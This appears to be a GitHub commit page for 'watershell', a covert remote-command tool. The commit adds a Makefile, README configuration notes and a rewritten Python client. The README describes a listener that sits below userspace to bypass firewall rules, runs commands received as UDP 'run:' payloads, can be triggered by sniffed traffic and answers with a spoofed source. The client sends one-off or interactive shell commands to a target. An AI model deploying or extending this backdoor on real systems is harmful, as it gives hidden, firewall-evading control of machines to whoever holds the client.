Merge pull request #1 from Burrch3s/general-improvments

General improvments
This commit is contained in:
Ryan Whittier
2019-08-27 20:21:39 -05:00
committed by GitHub
3 changed files with 130 additions and 37 deletions

8
Makefile Normal file
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@@ -0,0 +1,8 @@
# Small makefile to make compiling watershell easier to do
# TODO implement C and Linker FLAGS if desired
watershell:
gcc watershell.c -o $@
clean:
rm watershell *.o

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@@ -15,5 +15,17 @@ Configuring
You can hard code values at the top of watershell.c or you can use command line arguments when you launch it. There are three options:
- PORT: this defines the port to check for, -p flag, default 12345
- PROMISC: whether to sniff all traffic or not, -p flag, default false
- DEBUG: verbose logging output to display to the user running the binary
If promiscuous mode is on any traffic that goes over the network that is UDP and matches the spectfied port will trigger the program, for example sending UDP traffic with a payload of run:reboot to 8.8.8.8 will reboot the listening machine if it is on the same network as the originator. This is useful if you don't want to make direct contact with the machine but still want to send it commands. The status reply will have a spoofed source of the destination host you specified.
Compiling
---------
Compile by hand or use the Makefile.
```
gcc watershell.c -o watershell
# OR
make
# OR
make watershell
```

137
watershell-cli.py Normal file → Executable file
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@@ -1,58 +1,131 @@
import socket, time, sys
#!/usr/bin/env python3
"""
Watershell client; a script to easily send commands over UDP to a host running
the watershell listening binary. The watershell will be listening for UDP data
on a lower level of the network stack to bypass userspace firewall rules.
"""
def recv_timeout(the_socket,timeout=2):
#make socket non blocking
import argparse
import socket
import time
import sys
def recv_timeout(the_socket, timeout=4):
"""
Attempt to listen for data until the specified timeout is reached.
Returns:
str - Data received over socket
"""
# make socket non blocking
the_socket.setblocking(0)
#total data partwise in an array
total_data=[];
data='';
# total data partwise in an array
total_data = []
data = ''
#beginning time
begin=time.time()
while 1:
#if you got some data, then break after timeout
# beginning time
begin = time.time()
while True:
# if you got some data, then break after timeout
if total_data and time.time()-begin > timeout:
break
#if you got no data at all, wait a little longer, twice the timeout
elif time.time()-begin > timeout*2:
# if weve waited longer than the timeout, break
elif time.time()-begin > timeout:
break
#recv something
# recv something
try:
data = the_socket.recv(8192)
if data:
total_data.append(data.decode())
#change the beginning time for measurement
begin=time.time()
# change the beginning time for measurement
begin = time.time()
else:
#sleep for sometime to indicate a gap
# sleep for sometime to indicate a gap
time.sleep(0.1)
except:
except BaseException as exc:
pass
#join all parts to make final string
# join all parts to make final string
return ''.join(total_data)
if __name__ == '__main__':
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(("", 53316))
box = (sys.argv[1], int(sys.argv[2]))
print("Connecting to Watershell on {}...".format(box))
s.sendto(b'status:', box)
resp = recv_timeout(s, 1)
if resp == "up":
print("Connected!")
else:
print("Connection Failed...")
sys.exit(1)
def declare_args():
"""
Function to declare arguments that are acceptable to watershel-cli.py
"""
parser = argparse.ArgumentParser(
description="Watershell client to send command to host with watershell listening over UDP.")
parser.add_argument(
'-t', '--target',
dest='target',
type=str,
required=True,
help="IP of the target to send UDP message to.")
parser.add_argument(
'-p', '--port',
dest='port',
type=int,
default=52,
help="Port to send UDP message to.")
parser.add_argument(
'-c', '--command',
dest='command',
type=str,
help="One off command to send to listening watershell target")
parser.add_argument(
'-i', '--interactive',
dest='interactive',
action='store_true',
default=False,
help="Interactively send commands to watershell target")
return parser
def execute_cmd_prompt(sock, target):
"""
Interactively prompt user for commands and execute them
"""
while True:
cmd = input("//\\\\watershell//\\\\>> ")
if cmd == 'exit':
break
if len(cmd) > 1:
s.sendto(("run:"+cmd).encode(), box)
resp = recv_timeout(s, 2)
sock.sendto(("run:"+cmd).encode(), target)
resp = recv_timeout(sock, 4)
print(resp)
def main():
"""
Entry point to watershell-cli.py. Parse arguments supplied by user,
grab the status of the watershell target and then issue commands.
"""
args = declare_args().parse_args()
# Bind source port to send UDP message from
s_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s_socket.bind(("0.0.0.0", 53316))
target = (args.target, args.port)
print("Connecting to Watershell on {}...".format(target))
s_socket.sendto(b'status:', target)
resp = recv_timeout(s_socket, 2)
if resp == "up":
print("Connected!")
else:
print("Connection Failed...")
sys.exit(1)
if args.interactive:
execute_cmd_prompt(s_socket, target)
else:
s_socket.sendto(("run:{}".format(args.command)).encode(), target)
resp = recv_timeout(s_socket, 4)
print(resp)
if __name__ == '__main__':
main()